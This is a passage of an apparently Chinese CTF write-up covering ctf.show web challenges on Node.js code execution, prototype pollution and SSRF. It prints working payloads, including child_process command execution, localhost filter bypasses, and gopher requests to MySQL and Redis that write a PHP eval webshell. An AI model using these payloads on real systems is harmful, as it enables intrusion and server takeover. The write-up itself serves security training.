class=\"wp-block-heading\">web332<\/h2>\n\n\n\n<p>\u6ce8\u518c\u4e24\u4e2a\u53f7\uff0c\u4e00\u4e2a\u53f7\u5411\u53e6\u4e00\u4e2a\u53f7\u8f6c-999999999999\u5143\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web333<\/h2>\n\n\n\n<p>\u56e0\u4e3a\u81ea\u5df1\u7ed9\u81ea\u5df1\u8f6c\u8d26\u4e0d\u6263\u94b1\uff0c\u6240\u4ee5\u5199\u4e2a\u811a\u672c\u4e00\u76f4\u8f6c\u5c31\u884c\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport re\nimport time\nx=5\nurl=\"http:\/\/0f268fd6-0995-43d6-9f58-31c1b8ce402f.challenge.ctf.show\/api\/amount.php\"\nurl2=\"http:\/\/0f268fd6-0995-43d6-9f58-31c1b8ce402f.challenge.ctf.show\/api\/getFlag.php\"\nheaders={'Cookie':'PHPSESSID=b3rcula2jb86mo11r0v13kg932'}  #\u81ea\u5df1\u767b\u5f55\u540e\u7684sessionid\nwhile True:\n\tprint(x)\n\tt=x-1\n\tdata={\n\t'u':'123456', #\u6ce8\u518c\u7684\u7528\u6237\u540d\n\t'a':str(t)\n\t}\n\tr=requests.post(url,headers=headers,data=data)\n\tprint(r.text)\n\tif(x&gt;10000):\n\t\tr2=requests.get(url2,headers=headers)\n\t\tprint(r2.text)\n\t\tbreak\n\tx+=t\n<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">web\u5165\u95e8\u00b7nodejs<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">web334<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-24.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"506\" height=\"180\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-24.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1198\"  sizes=\"auto, (max-width: 506px) 100vw, 506px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/2-3.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"987\" height=\"142\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/2-3.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1199\"  sizes=\"auto, (max-width: 987px) 100vw, 987px\" \/><\/div><\/figure>\n\n\n\n<p>\u8d26\u53f7\u548c\u5bc6\u7801\u662fCTFSHOW\u548c123456\uff0c\u4f46\u7528\u6237\u540d\u4e0d\u80fd\u4e3aCTFSHOW\uff0c\u540e\u9762username=name.toUpperCase()\u628a\u7528\u6237\u540d\u8f6c\u5927\u5199\u4e86\uff0c\u6240\u4ee5\u8f93\u5165\u5c0f\u5199\u7684ctfshow\u548c123456\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web335<\/h2>\n\n\n\n<p>\u770b\u6ce8\u91ca\u8ba9\u6211\u4eec\/?eval=\uff0c\u731c\u6d4b\u8fd9\u9898\u76ee\u6e90\u7801\u662f<code>eval('xxx')<\/code>\uff0c\u8f93\u5165\u4ee3\u7801\u6267\u884c\u547d\u4ee4\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?eval=require(\"child_process\").execSync('cat f*')<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web336<\/h2>\n\n\n\n<p>\u4e0a\u4e00\u9898\u7684payload\u88abban\uff0c\u6362\u4e00\u4e2a\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?eval=require( 'child_process' ).spawnSync( 'cat',&#91;\"fl001g.txt\"]).stdout.toString()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web337<\/h2>\n\n\n\n<p>\u5f97\u5230flag\u7684\u6761\u4ef6\u662fa\u7684\u957f\u5ea6\u7b49\u4e8eb\u7684\u957f\u5ea6\uff0ca\u4e0d\u7b49\u4e8eb\uff08\u5f31\u7c7b\u578b\u5224\u65ad\uff09\uff0cmd5\u52a0\u5bc6a+flag\u548c\u52a0\u5bc6b+flag\u76f8\u7b49\uff08\u5f3a\u7c7b\u578b\u5224\u65ad\uff09\uff0c\u7528\u6570\u7ec4\u7ed5\u8fc7\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?a&#91;x]=1&amp;b&#91;x]=2<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web338<\/h2>\n\n\n\n<p>\u4e00\u9053\u539f\u578b\u94fe\u6c61\u67d3\u7684\u9898<\/p>\n\n\n\n<p>\u7b80\u5355\u89e3\u91ca\u4e00\u4e0b\u4ec0\u4e48\u53eb\u539f\u578b\u94fe\u6c61\u67d3\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ foo\u662f\u4e00\u4e2a\u7b80\u5355\u7684JavaScript\u5bf9\u8c61\nlet foo = {bar: 1}\n\n\/\/ foo.bar \u6b64\u65f6\u4e3a1\nconsole.log(foo.bar)\n\n\/\/ \u4fee\u6539foo\u7684\u539f\u578b\uff08\u5373Object\uff09\nfoo.__proto__.bar = 2\n\n\/\/ \u7531\u4e8e\u67e5\u627e\u987a\u5e8f\u7684\u539f\u56e0\uff0cfoo.bar\u4ecd\u7136\u662f1\nconsole.log(foo.bar)\n\n\/\/ \u6b64\u65f6\u518d\u7528Object\u521b\u5efa\u4e00\u4e2a\u7a7a\u7684zoo\u5bf9\u8c61\nlet zoo = {}\n\n\/\/ \u67e5\u770bzoo.bar\nconsole.log(zoo.bar)<\/code><\/pre>\n\n\n\n<p>\u8f93\u51fa\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1\n1\n2<\/code><\/pre>\n\n\n\n<p>\u8fd9\u662f\u56e0\u4e3a\u539f\u578b\u94fe\u7684\u67e5\u627e\u987a\u5e8f\u662f\u5148\u67e5\u770b\u7236\u5bf9\u8c61\u662f\u5426\u62e5\u6709\u8fd9\u4e2a\u5c5e\u6027\uff0c\u7136\u540e\u5411\u4e0a\u4e00\u7ea7\u7684.<strong>proto<\/strong>\u5373\u539f\u578b\u8fdb\u884c\u67e5\u627e\u3002\u6211\u4eec\u8fd9\u91cc\u7684\u4ee3\u7801\u7b2c\u4e00\u6b21console.log(foo.bar)\u6253\u5370\u7684\u662f1\u8fd9\u6ca1\u5565\u95ee\u9898\uff0c\u7b2c\u4e8c\u6b21\u6253\u5370\u7684\u8fd8\u662f1\u662f\u56e0\u4e3a\u7236\u5bf9\u8c61\u7684\u503c\u8fd8\u662f1\u6240\u4ee5\u4fee\u6539\u539f\u578b\u5e76\u6ca1\u6709\u5bf9\u503c\u53d1\u751f\u6539\u53d8\uff0c\u7b2c\u4e09\u6b21\u6253\u5370\u662f2\u662f\u56e0\u4e3azoo.bar\u67e5\u627e\u7684\u65f6\u5019\u6ca1\u6709\u7236\u5bf9\u8c61\uff0c\u7136\u540e\u7ee7\u7eed\u5411\u4e0a\u627e\uff0c\u5373zoo.<strong>proto<\/strong>\u91cc\u5bfb\u627e\uff0c\u6211\u4eec\u4f7f\u7528foo.<strong>proto<\/strong>.bar = 2\uff0c\u5c31\u662f\u7ed9Object\u6dfb\u52a0\u4e86\u4e00\u4e2abar\u5c5e\u6027\uff0c\u4fee\u6539\u4e86\u539f\u578b\u7684\u503c\uff0c\u800c\u8fd9\u4e2a\u5c5e\u6027\u5219\u88abzoo\u7ee7\u627f\uff0c\u6240\u4ee5\u6700\u540e\u4e3a2\u3002<\/p>\n\n\n\n<p>\u56de\u5230\u672c\u9898\uff0c\u8be5\u9898\u7684\u5173\u952e\u4ee3\u7801\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>var express = require('express');\nvar router = express.Router();\nvar utils = require('..\/utils\/common');\n\n\n\n\/* GET home page.  *\/\nrouter.post('\/', require('body-parser').json(),function(req, res, next) {\n  res.type('html');\n  var flag='flag_here';\n  var secert = {};\n  var sess = req.session;\n  let user = {};\n  utils.copy(user,req.body);\n  if(secert.ctfshow==='36dboy'){\n    res.end(flag);\n  }else{\n    return res.json({ret_code: 2, ret_msg: '\u767b\u5f55\u5931\u8d25'+JSON.stringify(user)});  \n  }\n\n\n});\n\nmodule.exports = router;<\/code><\/pre>\n\n\n\n<p>\u4e5f\u5c31\u662f\u6211\u4eec\u8981\u8ba9secert.ctfshow===&#8217;36dboy&#8217;\uff0cutils.copy\u4f1a\u5c06\u8bf7\u6c42\u4f53\u4e2d\u7684\u6570\u636e\u590d\u5236\u5230\u4e00\u4e2a\u540d\u4e3a\u201cuser\u201d\u7684\u5bf9\u8c61\u4e2d\uff0c\u6240\u4ee5\u6211\u4eec\u53ea\u8981\u50cf\u4e0a\u9762\u7684\u6f14\u793a\u4e00\u6837\u8ba9password.__proto__.ctfshow=&#8217;36dboy&#8217;\u5373\u53ef\uff0cpayload\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\"username\":\"asd\",\"password\":\"asd\",\"__proto__\":{\"ctfshow\":\"36dboy\"}}<\/code><\/pre>\n\n\n\n<p>\u751a\u81f3\u53ea\u7528<code>{\"__proto__\":{\"ctfshow\":\"36dboy\"}}<\/code>\u90fd\u53ef\u4ee5\uff0c\u53ea\u8981\u6210\u529f\u7ed9Object\u6dfb\u52a0\u719f\u6089\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web338<\/h2>\n\n\n\n<p>\u73b0\u5728\u4ee3\u7801\u53d8\u6210\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>var express = require('express');\nvar router = express.Router();\nvar utils = require('..\/utils\/common');\n\nfunction User(){\n  this.username='';\n  this.password='';\n}\nfunction normalUser(){\n  this.user\n}\n\n\n\/* GET home page.  *\/\nrouter.post('\/', require('body-parser').json(),function(req, res, next) {\n  res.type('html');\n  var flag='flag_here';\n  var secert = {};\n  var sess = req.session;\n  let user = {};\n  utils.copy(user,req.body);\n  if(secert.ctfshow===flag){\n    res.end(flag);\n  }else{\n    return res.json({ret_code: 2, ret_msg: '\u767b\u5f55\u5931\u8d25'+JSON.stringify(user)});  \n  }\n  \n  \n});\n\nmodule.exports = router;<\/code><\/pre>\n\n\n\n<p>\u50cf\u4e0a\u4e00\u9898\u4e00\u6837\u76f4\u63a5\u8986\u76d6\u662f\u4e0d\u884c\u4e86\uff0c\u56e0\u4e3a\u6211\u4eec\u53c8\u4e0d\u77e5\u9053flag\u7684\u503c\uff0c\u6ca1\u6cd5\u8ba9secert.ctfshow===flag<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">web\u5165\u95e8\u00b7SSRF<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">web351<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n$url=$_POST&#91;'url'];\n$ch=curl_init($url);\ncurl_setopt($ch, CURLOPT_HEADER, 0);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n$result=curl_exec($ch);\ncurl_close($ch);\necho ($result);\n?&gt; <\/code><\/pre>\n\n\n\n<p>POST\u4f20\u5165<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>url=127.0.0.1\/flag.php<\/code><\/pre>\n\n\n\n<p>\u8ba9\u670d\u52a1\u5668\u5e2e\u6211\u4eec\u8bf7\u6c42\u672c\u5730\u7684flag.php\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web352<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n$url=$_POST&#91;'url'];\n$x=parse_url($url);\nif($x&#91;'scheme']==='http'||$x&#91;'scheme']==='https'){\nif(!preg_match('\/localhost|127.0.0\/')){\n$ch=curl_init($url);\ncurl_setopt($ch, CURLOPT_HEADER, 0);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n$result=curl_exec($ch);\ncurl_close($ch);\necho ($result);\n}\nelse{\n    die('hacker');\n}\n}\nelse{\n    die('hacker');\n}\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u4e3b\u8981\u662f\u52a0\u4e86\u4e00\u4e2a\u8fc7\u6ee4\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if(!preg_match('\/localhost|127.0.0\/'))<\/code><\/pre>\n\n\n\n<p>\u4f46\u8fd9\u4e2a\u4ee3\u7801\u5176\u5b9e\u5199\u9519\u4e86\uff0c\u56e0\u4e3a\u6ca1\u89c4\u5b9a\u5339\u914d\u54ea\u4e2a\u53d8\u91cf\u91cc\u7684\u5b57\u7b26\u4e32\uff0c\u6240\u4ee5\u4e0a\u4e00\u9898\u7684payload\u8fd8\u662f\u80fd\u6253:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>url=http:\/\/127.0.0.1\/flag.php<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web353<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n$url=$_POST&#91;'url'];\n$x=parse_url($url);\nif($x&#91;'scheme']==='http'||$x&#91;'scheme']==='https'){\nif(!preg_match('\/localhost|127\\.0\\.|\\\u3002\/i', $url)){\n$ch=curl_init($url);\ncurl_setopt($ch, CURLOPT_HEADER, 0);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n$result=curl_exec($ch);\ncurl_close($ch);\necho ($result);\n}\nelse{\n    die('hacker');\n}\n}\nelse{\n    die('hacker');\n}\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u8fc7\u6ee4\u4e86localhost&#8221;\u3001&#8221;127.0.&#8221; \u6216\u4e2d\u6587\u53e5\u53f7\uff08<code>\u3002<\/code>\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>127.1\u53ef\u88ab\u89e3\u6790\u4e3a127.0.0.1\uff0c\u4e3a0\u53ef\u7f3a\u7701\n\u5728linux\u4e2d\uff0c0\u4f1a\u88ab\u89e3\u6790\u4e3a127.0.0.1\n127.0.0.0\/8\u662f\u4e00\u4e2a\u73af\u56de\u5730\u5740\u7f51\u6bb5\uff0c\u4ece127.0.0.1 ~ 127.255.255.254\u90fd\u8868\u793alocalhost<\/code><\/pre>\n\n\n\n<p>\u5f53\u7136\u6211\u4eec\u8fd8\u53ef\u4ee5\u5bf9127.0.0.1\u8f6c\u8fdb\u5236<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>url=http:\/\/2130706433\/flag.php<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web354<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n$url=$_POST&#91;'url'];\n$x=parse_url($url);\nif($x&#91;'scheme']==='http'||$x&#91;'scheme']==='https'){\nif(!preg_match('\/localhost|1|0|\u3002\/i', $url)){\n$ch=curl_init($url);\ncurl_setopt($ch, CURLOPT_HEADER, 0);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n$result=curl_exec($ch);\ncurl_close($ch);\necho ($result);\n}\nelse{\n    die('hacker');\n}\n}\nelse{\n    die('hacker');\n}\n?&gt; <\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>url=http:\/\/sudo.cc\/flag.php<\/code><\/pre>\n\n\n\n<p>\u8fd9\u4e2a\u57df\u540d\u5e94\u8be5\u63d0\u524d\u89e3\u6790\u54110.0.0.0\u4e86\uff0c\u6240\u4ee5\u53ef\u4ee5\u6210\u529f<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web355<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n$url=$_POST&#91;'url'];\n$x=parse_url($url);\nif($x&#91;'scheme']==='http'||$x&#91;'scheme']==='https'){\n$host=$x&#91;'host'];\nif((strlen($host)&lt;=5)){\n$ch=curl_init($url);\ncurl_setopt($ch, CURLOPT_HEADER, 0);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n$result=curl_exec($ch);\ncurl_close($ch);\necho ($result);\n}\nelse{\n    die('hacker');\n}\n}\nelse{\n    die('hacker');\n}\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u4e5f\u5c31\u591a\u52a0\u4e86\u4e2a\u5c0f\u4e8e5\u800c\u5df2\uff0c\u7528\u4e4b\u524d\u90a3\u4e2aPayload\u53ef\u4ee5\u7167\u6253\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>url=http:\/\/127.1\/flag.php<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web356<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n$url=$_POST&#91;'url'];\n$x=parse_url($url);\nif($x&#91;'scheme']==='http'||$x&#91;'scheme']==='https'){\n$host=$x&#91;'host'];\nif((strlen($host)&lt;=3)){\n$ch=curl_init($url);\ncurl_setopt($ch, CURLOPT_HEADER, 0);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n$result=curl_exec($ch);\ncurl_close($ch);\necho ($result);\n}\nelse{\n    die('hacker');\n}\n}\nelse{\n    die('hacker');\n}\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u9650\u5236\u5c0f\u4e8e\u4e09\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>url=http:\/\/0\/flag.php<\/code><\/pre>\n\n\n\n<p>0\u5728linux\u7cfb\u7edf\u4e2d\u4f1a\u89e3\u6790\u6210127.0.0.1\u5728windows\u4e2d\u89e3\u6790\u62100.0.0.0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web357<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n$url=$_POST&#91;'url'];\n$x=parse_url($url);\nif($x&#91;'scheme']==='http'||$x&#91;'scheme']==='https'){\n$ip = gethostbyname($x&#91;'host']);\necho '&lt;\/br&gt;'.$ip.'&lt;\/br&gt;';\nif(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n    die('ip!');\n}\n\n\necho file_get_contents($_POST&#91;'url']);\n}\nelse{\n    die('scheme');\n}\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u6392\u9664\u4e86\u79c1\u6709\u5730\u5740\u548c\u4fdd\u7559\u5730\u5740\uff0c\u6211\u76f4\u63a5\u5728\u81ea\u5df1\u7f51\u7ad9\u653e\u653e\u4e86\u4e2a\u91cd\u5b9a\u5411\u7f51\u9875\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>    &lt;?php\n    header(\"Location:http:\/\/127.0.0.1\/flag.php\");\n    ?&gt;<\/code><\/pre>\n\n\n\n<p>\u7528\u6211\u7684\u4e5f\u884c\uff0c\u76f4\u63a5\u4f20\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>url=http:\/\/121.36.193.62\/403.php<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web358<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n$url=$_POST&#91;'url'];\n$x=parse_url($url);\nif(preg_match('\/^http:\\\/\\\/ctf\\..*show$\/i',$url)){\n    echo file_get_contents($url);\n} <\/code><\/pre>\n\n\n\n<p>parse_url()\u51fd\u6570\u662f\u89e3\u6790 URL,\u5e76\u8fd4\u56deurl\u7684\u7ec4\u6210\u90e8\u5206\uff0c\u6211\u4eec\u53ef\u4ee5\u7528http:\/\/ctf.@127.0.0.1\/flag.php?show\u6216\u8005http:\/\/ctf.@127.0.0.1\/flag.php#show\u6ee1\u8db3\u9996\u90e8\u4e3ahttp:\/\/ctf\uff0c\u5c3e\u90e8\u4e3ashow<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>url=http:\/\/ctf.@127.0.0.1\/flag.php#show<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web359<\/h2>\n\n\n\n<p>\u5728check.php\u91ccpost\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>returl=gopher:\/\/127.0.0.1:3306\/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254a%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2573%2573%2572%2566%252e%2570%2568%2570%2527%2501%2500%2500%2500%2501<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5728\u65b0\u751f\u6210\u7684\u6728\u9a6cssrf.php\u91cc\u6267\u884c\u547d\u4ee4\u5373\u53ef\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cmd=system(\"cat \/flag.txt\");<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-30.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"843\" height=\"511\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-30.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1562\"  sizes=\"auto, (max-width: 843px) 100vw, 843px\" \/><\/div><\/figure>\n\n\n\n<p>\u539f\u7406\u5c31\u662fGopherus\u6253\u65e0\u5bc6\u7801mysql\uff0c\u5148\u4e0b\u8f7dhttps:\/\/github.com\/tarunkant\uff0c\u7136\u540e\u8fd0\u884c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python2 gopherus.py --exploit mysql<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>select '&lt;?php eval($_POST&#91;cmd]);?&gt;' into outfile '\/var\/www\/html\/ssrf.php'<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-31.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"794\" height=\"518\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-31.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1563\"  sizes=\"auto, (max-width: 794px) 100vw, 794px\" \/><\/div><\/figure>\n\n\n\n<p>\u751f\u6210\u7684payload\u5bf9_\u540e\u9762\u8fdb\u884curl\u7f16\u7801<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web360<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>url=gopher:\/\/127.0.0.1:6379\/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bcmd%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u7528shell.php\u7528cmd\u4f20\u547d\u4ee4\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-32.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"976\" height=\"551\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-32.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1564\"  sizes=\"auto, (max-width: 976px) 100vw, 976px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fc7\u7a0b\u548c\u4e0a\u9762\u90a3\u9053\u5dee\u4e0d\u591a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' 